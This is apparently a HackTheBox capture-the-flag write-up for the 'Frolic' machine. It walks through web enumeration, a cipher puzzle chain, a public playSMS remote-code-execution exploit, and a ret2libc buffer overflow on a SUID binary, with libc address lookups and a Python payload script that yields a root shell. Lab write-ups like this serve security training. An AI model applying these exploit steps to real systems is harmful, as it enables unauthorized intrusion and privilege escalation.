> For the complete documentation index, see [llms.txt](https://rouvin.gitbook.io/ibreakstuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rouvin.gitbook.io/ibreakstuff/writeups/hackthebox/easy/frolic.md).

# Frolic

## Gaining Access

Nmap scan:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-7628372990078fb30a72ba2611a355185a14eb61%2Fimage.png?alt=media)

Interesting stuff.

### Port 9999 Backup

Port 9999 was running a typical `nginx` web application. I used `gobuster` to find some hidden directories.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c504cbf9f332854876191dc618db04df2e861640%2Fimage.png?alt=media)

Going to `/backup` reveals some credentials and another hidden directory.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-025a3c68996bf835d3ee44da48cc5d281a871d56%2Fimage.png?alt=media)

There was nothing interesting in these files, but I found it rather odd that the `/backup` folder had the `loop/` directory within it.

I proceeded to run `feroxbuster` on the website to recursively enumerate all directories present. This allowed me to find the `/dev/backup` folder which contained another directory.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-59337861f6c347f0e07a7f475df2062120f16370%2Fimage.png?alt=media)

### PlaySMS

Going to the directory that we just found, we can see another login page.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-427680420d81023762bd100b82dfc50e3ecf4efe%2Fimage.png?alt=media)

I viewed the page source, and found the password in the JS code within the page.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-b9f7b83990fa5182b24d570274879db53dd418c5%2Fimage.png?alt=media)

Then, when logged in, we find this cipher.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-06ef650532cb9e0287d070645452a658d20cb0ec%2Fimage.png?alt=media)

### Crypto Puzzles

From here, the box evolved into a short series of puzzles involving decrypting stuff.

The cipher we just found was an Ook! cipher. When decoded, this is all it says:

```
Nothing here check /asdiSIAJJ0QWE9JAS
```

Afterwards, we would get another cipher.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-37d09cfa6000392e92fbd137030f70f3c0bf7b6a%2Fimage.png?alt=media)

I recognised this as base64 and attempted to decode it, but it returned non-readable characters.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-791e21ece707cadb9b870bb8f9c4347b5d28f14f%2Fimage.png?alt=media)

This was some type of zip folder, because it contained an `index.php` file within it, and also it had the PK file signature (which indicates ZIP folders). So I decoded this to find a password protected zip file, which could be cracked using `zip2john`.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c921787a1f110e70c5806ebd6b1521bbbbd8e41a%2Fimage.png?alt=media)

Then, `index.php` was another cipher.

```
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
```

This time, this was in hex. When decoded from hex, we get another cipher:

```
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
```

Now, it's base64 (as from the double = at the back). When decoded, we get yet another cipher.

```
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..< 
```

This is the Brainfuck cipher, which can be decoded to find `idkwhatispass`.

### File Upload RCE

Now, we had another credential to try. I attempted logins using `admin:idkwhatispass` and logged in to the playSMS service yet again.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-064a447d2ac3c58f17a43013695f2e8f2a02c594%2Fimage.png?alt=media)

playSMS had a few RCE exploits, so I grabbed one from Github and tried it.

{% embed url="<https://github.com/jasperla/CVE-2017-9101/blob/master/playsmshell.py>" %}

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-f7490bd568437beb80846370f085ce12cb0af9ee%2Fimage.png?alt=media)

Worked! Now, we can get a reverse shell easily using a bash one-liner.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-597c744a95a8c3bf8f65ced6825071c6523afe37%2Fimage.png?alt=media)

Then we would gain a reverse shell as `www-data`.

## Privilege Escalation

### Binary Enum

The user on this machine had an interesting `.binary` directory within their home directory.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-a42187f4586fb30536186c256debfadec6f5a111%2Fimage.png?alt=media)

In the `/home/ayush/.binary` directory, we can find this `rop` SUID binary.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-25358ac0a4f7a1d990b24ce3a53edac221c5684b%2Fimage.png?alt=media)

I ran an `ltrace` on the binary and tested it with some random input. I found that this uses the `strcpy` function, which is vulnerable to a BOF exploit.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-da03e50499ee4bb75b60ce0a325d36006d45bca0%2Fimage.png?alt=media)

Ran a `checksec` on it too:

```
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
```

So ASLR is disabled, but NX is enabled. This means the stack is non-executable. As such, we can just do a Ret2Libc attack.

### Ret2Libc

To execute this attack, we would need 3 addresses:

1. `system()` function
2. Address of `/bin/sh`
3. `exit()` function
4. Base address of library (via `ldd`)

To find these, we can search the `/lib/i386-linux-gnu/libc.so.6` file for the respective addresses.

```bash
ldd rop
# 0xb7f74a0b is the base address

# for /bin/sh
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
15ba0b /bin/sh

# for system()
objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "system"
0003ada0 system

# for exit()
objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "exit"
0002e9d0 exit
```

For each of these addresses, we would need to find the final address by adding the offset to the base address. This would give the following:

```
exit() -> 0xb7e479d0
system() -> 0xb7e53da0
/bin/sh -> 0xb7f74a0b
```

Afterwards, we need to fuzz the binary to find the number of junk characters required via `pattern_offset.rb`.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-ca0f10256fd8a2bcdb279763c2f8f15928f1e3a0%2Fimage.png?alt=media)

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-8f49fade4505d6404e76314096e3e2322a68d4a4%2Fimage.png?alt=media)

We can then create a quick script using Python.

```python
#!/usr/bin/python2
import struct

system_addr = struct.pack("<I", 0xb7e53da0)
exit_addr = struct.pack("<I", 0xb7e479d0)
sh_addr = struct.pack("<I", 0xb7f74a0b)

buffer = "A" * 52
buffer += system_addr
buffer += exit_addr
buffer += sh_addr

print buffer
```

Then, we can run the binary and use the output from this script as the input from `stdin`. This would drop us in a root shell.

```
www-data@frolic:/home/ayush/.binary$ ./rop `python2 /tmp/exploit.py`
whoami
root
```